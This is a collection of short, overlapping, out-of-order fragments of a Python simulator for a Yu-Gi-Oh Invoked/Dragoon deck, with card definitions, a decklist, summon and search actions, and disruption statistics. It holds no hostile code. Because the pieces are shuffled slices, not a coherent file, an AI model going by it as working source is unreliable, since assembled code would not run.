"if ( self.meltdown in game.hand and game.hopt_available(self.meltdown) and game.resource_available(\"activate field spell\") ): game.move(game.hand,",
"in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.aleister) game.use_resource(\"normal summon\")",
"called) cards_to_set = (judgment, droplet, called, imperm, prison, cyclone) discards = (driver, duster,",
"game.hand or self.aleister in game.hand: game.move(game.hand, game.backrow, self.lightstage) # search corobane, alesiter will",
"in game.monsters: game.move(game.monsters, game.grave, self.jester) elif self.souls in game.monsters: game.move(game.monsters, game.grave, self.souls) else:",
"redundant_cards[card] > 1] def find_dragoons_materials( self, game: Game ) -> Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location,",
"return game def action_summon_fleur(self, game: Game) -> Optional[Game]: if ( self.fleur in game.hand",
"None def select_souls_fodder(self, game: Game, count: int) -> List[Card]: fodder = [] cards",
"(fleur, 1), (red_eyes, 2), (ref, 3), (magicalized_fusion, 1), (candina, 1), (corobane, 1), (lightstage,",
"Optional[Game]: if ( self.invocation in game.hand and self.mechaba in game.extra_deck and game.resource_available(\"summon\") ):",
"game.move(game.extra_deck, game.monsters, self.gardna) return game def action_summon_souls(self, game: Game) -> Optional[Game]: if (",
"Traps nibiru = Card(\"Nibiru, the Primal Being\", CardType.MONSTER) ash = Card(\"Ash Blossom &",
"self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game",
"opp_card ######### # Actions ######### def action_use_upstart(self, game: Game) -> Optional[Game]: if self.upstart",
"def select_invocation_banish_from_field(self, game: Game) -> Optional[Card]: return game.monsters.get_any(self.light_monsters) def select_souls_dump(self, game: Game) ->",
"game.move(game.grave, game.banished, grave_target) elif field_target := self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished, field_target) else: return None",
"CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"): pure_distruptions += 1 for card in game.hand: if card",
"Optional[Game]: if ( self.almiraj in game.extra_deck and self.aleister in game.monsters and game.resource_available(\"summon\") ):",
"in game.deck: return self.meltdown elif self.lightstage in game.deck: return self.lightstage else: return None",
"game.use_resource(\"activate field spell\") game.move(game.hand, game.grave, self.set_rotation) game.move(game.deck, game.backrow, my_card) game.deck.cards.remove(opp_card) return game def",
"return game def action_summon_verte(self, game: Game) -> Optional[Game]: if self.verte in game.extra_deck and",
"game: Game): return game def endphase(self, game: Game): for card in game.hand.cards[:]: #",
"Card(\"Ash Blossom & Joyous Spring\", CardType.MONSTER) ogre = Card(\"Ghost Ogre & Snow Rabbit\",",
"game.use_resource(\"normal summon\") if self.invocation in game.deck: game.move(game.deck, game.hand, self.invocation) game.use_hopt(self.aleister) return game def",
"in [self.corobane, self.candina]) and game.resource_available(\"activate field spell\") ): if self.meltdown in game.hand or",
"give them meltdown and take stage for corobane if self.lightstage in game.deck: my_card",
"if card in self.verte_materials: materials.append(card) if len(materials) < 2: return None for material",
"Knighted\", CardType.MONSTER) droplet = Card(\"Forbidden Droplet\", CardType.SPELL) called = Card(\"Called by the Grave\",",
"[\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])], [\"3+ Disruptions\", cls.percent_with_flags(end_games, [\"3+ disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])],",
"can modify hand if card in self.cards_to_set: game.move(game.hand, game.backrow, card) # Process Disruptions",
"in game.monsters: game.move(game.monsters, game.banished, self.aleister) else: return None if grave_target := self.select_invocation_banish_from_grave(game): game.move(game.grave,",
"Snow Rabbit\", CardType.MONSTER) droll = Card(\"Droll & Lock Bird\", CardType.MONSTER) veiler = Card(\"Effect",
"game.hand ): return self.meltdown elif ( self.lightstage in game.deck and self.lightstage not in",
"game.hopt_available(self.jester) and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.jester) game.use_hopt(self.jester) return game def action_normal_summon_jester(self, game:",
"2: if card in self.not_opt: redundant_cards[card] = 1 else: redundant_cards[card] = 2 else:",
"if ( self.verte in game.monsters and game.hopt_available(self.verte) and self.ref in game.deck and self.dragoon",
"duster, mind_control, upstart, cyclone) light_monsters = (corobane, candina, artemis, gardna, fleur) not_opt =",
"Spring\", CardType.MONSTER) ogre = Card(\"Ghost Ogre & Snow Rabbit\", CardType.MONSTER) droll = Card(\"Droll",
"game.hand, self.aleister) return game def action_summon_aleister(self, game: Game) -> Optional[Game]: if ( self.aleister",
"): game.move(game.monsters, game.grave, self.aleister) game.move(game.extra_deck, game.monsters, self.almiraj) return game def action_summon_gardna(self, game: Game)",
"= Card(\"Ghost Ogre & Snow Rabbit\", CardType.MONSTER) droll = Card(\"Droll & Lock Bird\",",
"bool = False ) -> List[Card]: redundant_cards = {} # higher value means",
"# search corobane, alesiter will be normaled if self.corobane in game.deck: game.move(game.deck, game.hand,",
"CardType.SPELL) # Extenders jester = Card(\"Jester Confit\", CardType.MONSTER) souls = Card(\"Magicians' Souls\", CardType.MONSTER)",
"Omega\", CardType.EXTRA_DECK) verte = Card(\"Predaplant Verte Anaconda\", CardType.EXTRA_DECK) dragoon = Card(\"Red-Eyes Dark Dragoon\",",
"[\"dragoon\", \"mechaba\"])], [\"3+ Disruptions\", cls.percent_with_flags(end_games, [\"3+ disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])], ] def postprocess(self,",
"game.grave, self.terraforming) game.move(game.deck, game.hand, target) game.use_hopt(self.terraforming) return game def action_use_set_rotation(self, game: Game) ->",
"mind_control) verte_materials = ( aleister, candina, corobane, souls, jester, fleur, ) # artemis,",
"game.hand and self.candina in game.hand) ): return self.lightstage elif self.meltdown in game.deck: return",
"cyclone) going_second = (duster, mind_control) verte_materials = ( aleister, candina, corobane, souls, jester,",
"redundant_cards = {} # higher value means more redundant hand = game.hand.cards[:] for",
"game: Game) -> Optional[Card]: return game.monsters.get_any(self.light_monsters) def select_souls_dump(self, game: Game) -> Optional[Card]: if",
"self.lightstage in game.hand and any(card in game.deck for card in [self.corobane, self.candina]) and",
"return None for material in materials: game.move(game.monsters, game.grave, material) game.move(game.extra_deck, game.monsters, self.verte) return",
"= Card(\"Ice Dragon's Prison\", CardType.TRAP) judgment = Card(\"Solemn Judgment\", CardType.TRAP) # Extra Deck",
"Card(\"Droll & Lock Bird\", CardType.MONSTER) veiler = Card(\"Effect Veiler\", CardType.MONSTER) gamma = Card(\"PSY-Framegear",
"game.use_hopt(self.verte) game.move(game.deck, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon)",
"elif self.red_eyes in game.hand: red_eyes_location = game.hand return dm_location, red_eyes_location ######### # Selects",
"in game.deck and self.dragoon in game.extra_deck ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not",
"game.hand, self.aleister) game.deck.shuffle() return game def action_summon_verte(self, game: Game) -> Optional[Game]: if self.verte",
"not (self.corobane in game.hand and self.candina in game.hand) ): return self.lightstage elif self.meltdown",
"self.meltdown elif self.lightstage in game.deck: return self.lightstage else: return None def select_set_rotation_targets(self, game:",
"return None game.move(game.hand, game.grave, self.terraforming) game.move(game.deck, game.hand, target) game.use_hopt(self.terraforming) return game def action_use_set_rotation(self,",
"Judgment\", CardType.TRAP) # Extra Deck carrier = Card(\"Union Carrier\", CardType.EXTRA_DECK) almiraj = Card(\"Salamangreat",
"the Primal Being\", CardType.MONSTER) ash = Card(\"Ash Blossom & Joyous Spring\", CardType.MONSTER) ogre",
"= 0 if self.dragoon in game.monsters and len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions += 1",
"def action_use_terraforming(self, game: Game) -> Optional[Game]: if self.terraforming in game.hand and game.hopt_available(self.terraforming): target",
"game.move(game.hand, game.monsters, self.jester) return game def action_summon_corobane(self, game: Game) -> Optional[Game]: if (",
"if len(materials) < 2: return None for material in materials: game.move(game.monsters, game.grave, material)",
"self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_use_ref(self, game: Game) -> Optional[Game]:",
"def endphase(self, game: Game): for card in game.hand.cards[:]: # make a copy so",
"them meltdown and take stage for corobane if self.lightstage in game.deck: my_card =",
"take stage for corobane if self.lightstage in game.deck: my_card = self.lightstage if self.meltdown",
"return self.meltdown elif ( self.lightstage in game.deck and self.lightstage not in game.hand and",
"Card(\"Forbidden Droplet\", CardType.SPELL) called = Card(\"Called by the Grave\", CardType.SPELL) cyclone = Card(\"Cosmic",
"Card(\"Terraforming\", CardType.SPELL) # Extenders jester = Card(\"Jester Confit\", CardType.MONSTER) souls = Card(\"Magicians' Souls\",",
"self.lightstage in game.deck: opp_card = self.lightstage return my_card, opp_card ######### # Actions #########",
"None game.move(game.hand, game.grave, self.terraforming) game.move(game.deck, game.hand, target) game.use_hopt(self.terraforming) return game def action_use_set_rotation(self, game:",
":= hand.count(card) == 1: if game.hopt_available(card): redundant_cards[card] = 0 else: redundant_cards[card] = 2",
"game.move(game.hand, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\")",
"if self.set_rotation in game.hand: my_card, opp_card = self.select_set_rotation_targets(game) if not (my_card and opp_card):",
"return None game.move(game.deck, game.grave, dump_target) game.move(game.hand, game.monsters, self.souls) game.use_hopt(self.souls, \"summon\") return game def",
"self, game: Game, include_useful: bool = False ) -> List[Card]: redundant_cards = {}",
"hand_traps = (ash, ogre, veiler, imperm, nibiru, droll, crow, belle, meister, gamma) protection",
"in game.deck: my_card = self.lightstage if self.meltdown in game.deck: opp_card = self.meltdown else:",
"Card(\"Trickstar Candina\", CardType.MONSTER) corobane = Card(\"Trickstar Corobane\", CardType.MONSTER) lightstage = Card(\"Trickstar Lightstage\", CardType.SPELL)",
"= Card(\"Mind Control\", CardType.SPELL) prison = Card(\"Ice Dragon's Prison\", CardType.TRAP) judgment = Card(\"Solemn",
"action_normal_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester in game.hand and game.resource_available(\"normal summon\")",
"self.candina) if self.lightstage in game.deck: game.move(game.deck, game.hand, self.lightstage) elif self.corobane in game.deck: game.move(game.deck,",
"game.deck.shuffle() return game def action_summon_verte(self, game: Game) -> Optional[Game]: if self.verte in game.extra_deck",
"+= 1 game.disruptions.add(Disruption(repr(card), 1)) for card in game.backrow: if card in self.cards_to_set: pure_distruptions",
"game.monsters: for card in game.hand: game.add_flag(\"mechaba\") if card.card_type == CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif card.card_type",
"2) disr_aleister = Disruption(repr(aleister), 1) # Lists hand_traps = (ash, ogre, veiler, imperm,",
"game: Game) -> Optional[Card]: if ( self.meltdown in game.deck and game.hopt_available(self.meltdown) and self.meltdown",
"Candina\", CardType.MONSTER) corobane = Card(\"Trickstar Corobane\", CardType.MONSTER) lightstage = Card(\"Trickstar Lightstage\", CardType.SPELL) set_rotation",
"game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_use_lightstage(self, game: Game) -> Optional[Game]: if",
"self.aleister) game.deck.shuffle() return game def action_summon_verte(self, game: Game) -> Optional[Game]: if self.verte in",
"Disruption(repr(prison), 2) disr_judgment = Disruption(repr(judgment), 2) disr_aleister = Disruption(repr(aleister), 1) # Lists hand_traps",
"Optional, Tuple from framework import CardGroup, CardType, DeckList, Disruption, Manager, Card, Game class",
"CardType.MONSTER) gamma = Card(\"PSY-Framegear Gamma\", CardType.MONSTER) driver = Card(\"PSY-Frame Driver\", CardType.MONSTER) crow =",
"if ( self.candina in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\")",
"): game.move(game.hand, game.monsters, self.corobane) game.use_hopt(self.corobane) return game def action_normal_summon_candina(self, game: Game) -> Optional[Game]:",
"in self.hand_traps: if card == self.gamma and self.driver in game.banished: continue if card",
"return None def select_set_rotation_targets(self, game: Game) -> List[Card]: my_card, opp_card = None, None",
"Mechaba\", CardType.EXTRA_DECK) augoeides = Card(\"Invoked Augoeides\", CardType.EXTRA_DECK) purgatrio = Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK) omega",
"Game) -> Optional[Game]: if ( self.ref in game.hand and self.dragoon in game.extra_deck and",
"my_card, opp_card = self.select_set_rotation_targets(game) if not (my_card and opp_card): return None else: game.use_resource(\"activate",
"cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])], [\"3+ Disruptions\", cls.percent_with_flags(end_games, [\"3+ disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games,",
"self.driver in game.banished: continue if card == self.imperm: continue pure_distruptions += 1 game.disruptions.add(Disruption(repr(card),",
"self.aleister not in game.hand ): return self.meltdown elif ( self.lightstage in game.deck and",
"(magicalized_fusion, 1), (candina, 1), (corobane, 1), (lightstage, 1), # (upstart, 1), (cyclone, 2),",
"2: return None for material in materials: game.move(game.monsters, game.grave, material) game.move(game.extra_deck, game.monsters, self.verte)",
"def find_dragoons_materials( self, game: Game ) -> Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location, red_eyes_location = None,",
"if self.terraforming in game.hand and game.hopt_available(self.terraforming): target = self.select_terraforming_target(game) if not target: return",
"return self.lightstage elif self.meltdown in game.deck: return self.meltdown elif self.lightstage in game.deck: return",
"= Disruption(f\"{repr(mechaba)} (S)\", 0) disr_mechaba_t = Disruption(f\"{repr(mechaba)} (T)\", 0) disr_prison = Disruption(repr(prison), 2)",
"game.grave, self.invocation) game.move(game.extra_deck, game.monsters, self.mechaba) if game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation, \"recycle\") game.move(game.grave, game.deck, self.invocation)",
"def action_summon_verte(self, game: Game) -> Optional[Game]: if self.verte in game.extra_deck and game.resource_available(\"summon\"): materials",
"normaled if self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) elif self.candina in game.deck: game.move(game.deck,",
"2), (verte, 2), ), ) default_decklist = standard_decklist ######### # Helpers ######### @classmethod",
"in game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_use_lightstage(self, game: Game) -> Optional[Game]:",
"CardType.MONSTER) belle = Card(\"Ghost Belle & Haunted Mansion\", CardType.MONSTER) meister = Card(\"Skull Meister\",",
"& Haunted Mansion\", CardType.MONSTER) meister = Card(\"Skull Meister\", CardType.MONSTER) imperm = Card(\"Infinite Impermanence\",",
"game.hopt_available(self.souls, \"summon\") and game.resource_available(\"summon\") ): dump_target = self.select_souls_dump(game) if not dump_target: return None",
"self.terraforming in game.hand and game.hopt_available(self.terraforming): target = self.select_terraforming_target(game) if not target: return None",
"game def action_summon_verte(self, game: Game) -> Optional[Game]: if self.verte in game.extra_deck and game.resource_available(\"summon\"):",
"game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_summon_fleur(self, game: Game)",
"game.resource_available(\"summon\"): materials = [] monsters = game.monsters.cards[:] while len(materials) < 2 and monsters:",
"game.move(game.deck, game.hand, self.aleister) return game def action_summon_aleister(self, game: Game) -> Optional[Game]: if (",
"materials = [] monsters = game.monsters.cards[:] while len(materials) < 2 and monsters: card",
"game: Game) -> Optional[Game]: if self.set_rotation in game.hand: my_card, opp_card = self.select_set_rotation_targets(game) if",
"meister, veiler, cyclone) going_second = (duster, mind_control) verte_materials = ( aleister, candina, corobane,",
"self.dragoon) game.use_resource(\"summon\") return game def action_use_ref(self, game: Game) -> Optional[Game]: if ( self.ref",
"self.corobane) return game def action_summon_mechaba(self, game: Game) -> Optional[Game]: if ( self.invocation in",
"fodder: return None while fodder: game.move(game.hand, game.grave, fodder.pop()) game.draw() return game def action_summon_jester(self,",
"self.cards_to_set: pure_distruptions += 1 if card == self.prison: game.disruptions.add(self.disr_prison) elif card == self.judgment:",
"in game.deck: game.move(game.deck, game.hand, self.invocation) game.use_hopt(self.aleister) return game def action_summon_artemis(self, game: Game) ->",
"game: Game) -> Optional[Card]: if self.dm in game.deck: return self.dm else: return None",
"jester = Card(\"Jester Confit\", CardType.MONSTER) souls = Card(\"Magicians' Souls\", CardType.MONSTER) # Trickstar Engine",
"CardType.MONSTER) droplet = Card(\"Forbidden Droplet\", CardType.SPELL) called = Card(\"Called by the Grave\", CardType.SPELL)",
"dm_location, red_eyes_location ######### # Selects ######### def select_invocation_banish_from_grave(self, game: Game) -> Optional[Card]: return",
"target: return None game.move(game.hand, game.grave, self.terraforming) game.move(game.deck, game.hand, target) game.use_hopt(self.terraforming) return game def",
"game: Game) -> Optional[Game]: if ( self.aleister in game.hand and game.resource_available(\"normal summon\") and",
"Game) -> Optional[Game]: if self.upstart in game.hand and len(game.deck) > 1: game.move(game.hand, game.grave,",
"redundant_cards[card] = 0 else: redundant_cards[card] = 2 elif count == 2: if card",
"2), ), ) default_decklist = standard_decklist ######### # Helpers ######### @classmethod def generate_stats(cls,",
"game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_use_ref(self, game: Game)",
"Optional[Game]: if ( self.fleur in game.hand and game.resource_available(\"summon\") and any(card.card_type == CardType.EXTRA_DECK for",
"CardType.MONSTER) crow = Card(\"D.D. Crow\", CardType.MONSTER) belle = Card(\"Ghost Belle & Haunted Mansion\",",
"\"summon\") return game def action_normal_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls in",
"game.hand and game.hopt_available(self.meltdown) and game.resource_available(\"activate field spell\") ): game.move(game.hand, game.backrow, self.meltdown) game.use_hopt(self.meltdown) if",
"key=lambda x: redundant_cards[x], reverse=True ) if include_useful: return to_return else: return [card for",
"game.grave, self.meltdown) game.draw() fodder = self.select_souls_fodder(game, 1) if fodder: game.move(game.hand, game.grave, fodder[0]) game.draw()",
"-> Optional[Card]: if ( self.meltdown in game.deck and game.hopt_available(self.meltdown) and self.meltdown not in",
"if self.souls in game.monsters and game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls, \"draw\") if self.meltdown in game.backrow:",
"elif card == self.judgment: game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card), 1)) if pure_distruptions >= 3: game.add_flag(\"3+",
"game.backrow, self.lightstage) # search corobane, alesiter will be normaled if self.corobane in game.deck:",
"candina to normal if self.candina in game.deck: game.move(game.deck, game.hand, self.candina) elif self.corobane in",
"material in materials: game.move(game.monsters, game.grave, material) game.move(game.extra_deck, game.monsters, self.verte) return game def action_use_verte(self,",
"self.souls in game.monsters: game.move(game.monsters, game.grave, self.souls) else: return None game.move(game.extra_deck, game.monsters, self.artemis) return",
"elif self.souls in game.monsters: game.move(game.monsters, game.grave, self.souls) else: return None game.move(game.extra_deck, game.monsters, self.artemis)",
"List[List[str]]: return [ [\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])],",
"cards.pop() if card.card_type in [CardType.SPELL, CardType.TRAP]: fodder.append(card) return fodder def select_terraforming_target(self, game: Game)",
"to normal if self.candina in game.deck: game.move(game.deck, game.hand, self.candina) elif self.corobane in game.deck:",
"= game.monsters.cards[:] while len(materials) < 2 and monsters: card = monsters.pop() if card",
"game: Game) -> Optional[Game]: if ( self.souls in game.hand and game.hopt_available(self.souls, \"summon\") and",
"None game.move(game.hand, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon)",
"and game.resource_available(\"summon\") and any(card.card_type == CardType.EXTRA_DECK for card in game.monsters) ): game.move(game.hand, game.monsters,",
"+= 1 if self.mechaba in game.monsters: for card in game.hand: game.add_flag(\"mechaba\") if card.card_type",
"in game.grave: game.move(game.grave, game.banished, self.aleister) elif self.aleister in game.monsters: game.move(game.monsters, game.banished, self.aleister) else:",
"DeckList, Disruption, Manager, Card, Game class InvokedDragoonManager(Manager): # Invoked aleister = Card(\"Aleister the",
"CardType.SPELL) # Hand Traps nibiru = Card(\"Nibiru, the Primal Being\", CardType.MONSTER) ash =",
"self.almiraj in game.extra_deck and self.aleister in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.aleister)",
"(terraforming, 1), (prison, 2), (imperm, 3), (ash, 3), (souls, 3), (dm, 2), #",
"game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.aleister) game.use_resource(\"normal summon\") if",
"== self.imperm: continue pure_distruptions += 1 game.disruptions.add(Disruption(repr(card), 1)) for card in game.backrow: if",
"2), # (fleur, 1), (red_eyes, 2), (ref, 3), (magicalized_fusion, 1), (candina, 1), (corobane,",
"in game.hand: dm_location = game.hand if self.red_eyes in game.deck: red_eyes_location = game.deck elif",
"None if grave_target := self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished, grave_target) elif field_target := self.select_invocation_banish_from_field(game): game.move(game.monsters,",
"self.get_redundant_cards_in_hand(game, include_useful=False) while cards and len(fodder) < count: card = cards.pop() if card.card_type",
"): return self.lightstage elif self.meltdown in game.deck: return self.meltdown elif self.lightstage in game.deck:",
"and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.candina) if self.lightstage",
"-> Optional[Game]: if ( self.verte in game.monsters and game.hopt_available(self.verte) and self.ref in game.deck",
"action_summon_aleister(self, game: Game) -> Optional[Game]: if ( self.aleister in game.hand and game.resource_available(\"normal summon\")",
"cards_to_set = (judgment, droplet, called, imperm, prison, cyclone) discards = (driver, duster, mind_control,",
"and self.aleister in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.aleister) game.move(game.extra_deck, game.monsters, self.almiraj)",
"self.almiraj) game.move(game.extra_deck, game.monsters, self.gardna) return game def action_summon_souls(self, game: Game) -> Optional[Game]: if",
"\"recycle\") game.move(game.grave, game.deck, self.invocation) game.move(game.banished, game.hand, self.aleister) game.deck.shuffle() return game def action_summon_verte(self, game:",
"hand: if count := hand.count(card) == 1: if game.hopt_available(card): redundant_cards[card] = 0 else:",
"aleister. give them meltdown and take stage for corobane if self.lightstage in game.deck:",
"CardType.EXTRA_DECK) purgatrio = Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK) omega = Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK) verte =",
"and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.jester) game.use_hopt(self.jester) return game def action_normal_summon_jester(self, game: Game)",
"game.deck: my_card = self.lightstage if self.meltdown in game.deck: opp_card = self.meltdown else: if",
"= monsters.pop() if card in self.verte_materials: materials.append(card) if len(materials) < 2: return None",
"and game.hopt_available(self.verte) and self.ref in game.deck and self.dragoon in game.extra_deck ): dm_location, red_eyes_location",
"Dragon\", CardType.MONSTER) ref = Card(\"Red-Eyes Fusion\", CardType.SPELL) magicalized_fusion = Card(\"Magicalized Fusion\", CardType.SPELL) #",
"corobane, souls, jester, fleur, ) # artemis, almiraj, gardna? standard_decklist = DeckList( (",
"if self.aleister in game.deck: game.move(game.deck, game.hand, self.aleister) return game def action_summon_aleister(self, game: Game)",
"duster = Card(\"Harpie's Feather Duster\", CardType.SPELL) mind_control = Card(\"Mind Control\", CardType.SPELL) prison =",
"droplet = Card(\"Forbidden Droplet\", CardType.SPELL) called = Card(\"Called by the Grave\", CardType.SPELL) cyclone",
"game.move(game.hand, game.monsters, self.jester) game.use_hopt(self.jester) return game def action_normal_summon_jester(self, game: Game) -> Optional[Game]: if",
"fodder: game.move(game.hand, game.grave, fodder[0]) game.draw() else: fodder = self.select_souls_fodder(game, 2) if not fodder:",
"self.aleister in game.monsters: game.move(game.monsters, game.grave, self.aleister) elif self.jester in game.monsters: game.move(game.monsters, game.grave, self.jester)",
"ash = Card(\"Ash Blossom & Joyous Spring\", CardType.MONSTER) ogre = Card(\"Ghost Ogre &",
"elif ( self.lightstage in game.deck and self.lightstage not in game.hand and not (self.corobane",
"Card(\"Red-Eyes Fusion\", CardType.SPELL) magicalized_fusion = Card(\"Magicalized Fusion\", CardType.SPELL) # Misc fleur = Card(\"<NAME>,",
"Trickstar Engine candina = Card(\"Trickstar Candina\", CardType.MONSTER) corobane = Card(\"Trickstar Corobane\", CardType.MONSTER) lightstage",
"(mind_control, 1), (set_rotation, 1), (called, 1), ), ( (almiraj, 1), (artemis, 1), (gardna,",
"if ( self.aleister in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters,",
"0 if self.dragoon in game.monsters and len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions += 1 if",
"[] cards = self.get_redundant_cards_in_hand(game, include_useful=False) while cards and len(fodder) < count: card =",
"Prison\", CardType.TRAP) judgment = Card(\"Solemn Judgment\", CardType.TRAP) # Extra Deck carrier = Card(\"Union",
"( self.candina in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand,",
"disr_mechaba_m = Disruption(f\"{repr(mechaba)} (M)\", 2) disr_mechaba_s = Disruption(f\"{repr(mechaba)} (S)\", 0) disr_mechaba_t = Disruption(f\"{repr(mechaba)}",
"(upstart, 1), (cyclone, 2), (judgment, 2), (upstart, 1), (duster, 1), (mind_control, 1), (set_rotation,",
"if card in self.cards_to_set: game.move(game.hand, game.backrow, card) # Process Disruptions pure_distruptions = 0",
"game.move(game.monsters, game.grave, self.almiraj) game.move(game.extra_deck, game.monsters, self.gardna) return game def action_summon_souls(self, game: Game) ->",
"for card in hand: if count := hand.count(card) == 1: if game.hopt_available(card): redundant_cards[card]",
"game.hand: # we have a path to aleister. give them meltdown and take",
"any(card.card_type == CardType.EXTRA_DECK for card in game.monsters) ): game.move(game.hand, game.monsters, self.fleur) return game",
"self.aleister in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.aleister) game.move(game.extra_deck, game.monsters, self.almiraj) return",
"Card(\"Upstart Goblin\", CardType.SPELL) # Hand Traps nibiru = Card(\"Nibiru, the Primal Being\", CardType.MONSTER)",
"game.grave, self.aleister) game.move(game.extra_deck, game.monsters, self.almiraj) return game def action_summon_gardna(self, game: Game) -> Optional[Game]:",
"game.backrow, card) # Process Disruptions pure_distruptions = 0 if self.dragoon in game.monsters and",
"Card(\"Invocation\", CardType.SPELL) meltdown = Card(\"Magical Meltdown\", CardType.SPELL) terraforming = Card(\"Terraforming\", CardType.SPELL) # Extenders",
"(verte, 2), ), ) default_decklist = standard_decklist ######### # Helpers ######### @classmethod def",
"== CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif card.card_type == CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"): pure_distruptions += 1",
"card in self.not_opt: redundant_cards[card] = 1 else: redundant_cards[card] = 2 else: redundant_cards[card] =",
"game def get_redundant_cards_in_hand( self, game: Game, include_useful: bool = False ) -> List[Card]:",
"): if self.aleister in game.grave: game.move(game.grave, game.banished, self.aleister) elif self.aleister in game.monsters: game.move(game.monsters,",
"game.move(game.grave, game.banished, self.aleister) elif self.aleister in game.monsters: game.move(game.monsters, game.banished, self.aleister) else: return None",
"game.move(game.hand, game.grave, self.terraforming) game.move(game.deck, game.hand, target) game.use_hopt(self.terraforming) return game def action_use_set_rotation(self, game: Game)",
"count: card = cards.pop() if card.card_type in [CardType.SPELL, CardType.TRAP]: fodder.append(card) return fodder def",
"mechaba = Card(\"Invoked Mechaba\", CardType.EXTRA_DECK) augoeides = Card(\"Invoked Augoeides\", CardType.EXTRA_DECK) purgatrio = Card(\"Invoked",
"Corobane\", CardType.MONSTER) lightstage = Card(\"Trickstar Lightstage\", CardType.SPELL) set_rotation = Card(\"Set Rotation\", CardType.SPELL) #",
"1), (mind_control, 1), (set_rotation, 1), (called, 1), ), ( (almiraj, 1), (artemis, 1),",
"search corobane, alesiter will be normaled if self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane)",
"not (dm_location and red_eyes_location): return None game.move(game.hand, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location,",
"Game): for card in game.hand.cards[:]: # make a copy so we can modify",
"in game.deck: dm_location = game.deck elif self.dm in game.hand: dm_location = game.hand if",
"self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_use_lightstage(self, game: Game) ->",
"CardType.SPELL) duster = Card(\"Harpie's Feather Duster\", CardType.SPELL) mind_control = Card(\"Mind Control\", CardType.SPELL) prison",
"if game.has_flag(\"mechaba\"): pure_distruptions += 1 for card in game.hand: if card in self.hand_traps:",
"game.hand, self.candina) return game else: game.move(game.hand, game.backrow, self.lightstage) # search candina to normal",
"game.extra_deck and game.resource_available(\"summon\") ): if self.aleister in game.grave: game.move(game.grave, game.banished, self.aleister) elif self.aleister",
"game: Game) -> Optional[Game]: if ( self.corobane in game.hand and game.hopt_available(self.corobane) and not",
"and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.aleister) game.use_resource(\"normal summon\") if self.invocation",
"x: redundant_cards[x], reverse=True ) if include_useful: return to_return else: return [card for card",
"value means more redundant hand = game.hand.cards[:] for card in hand: if count",
"game.move(game.extra_deck, game.monsters, self.artemis) return game def action_summon_almiraj(self, game: Game) -> Optional[Game]: if (",
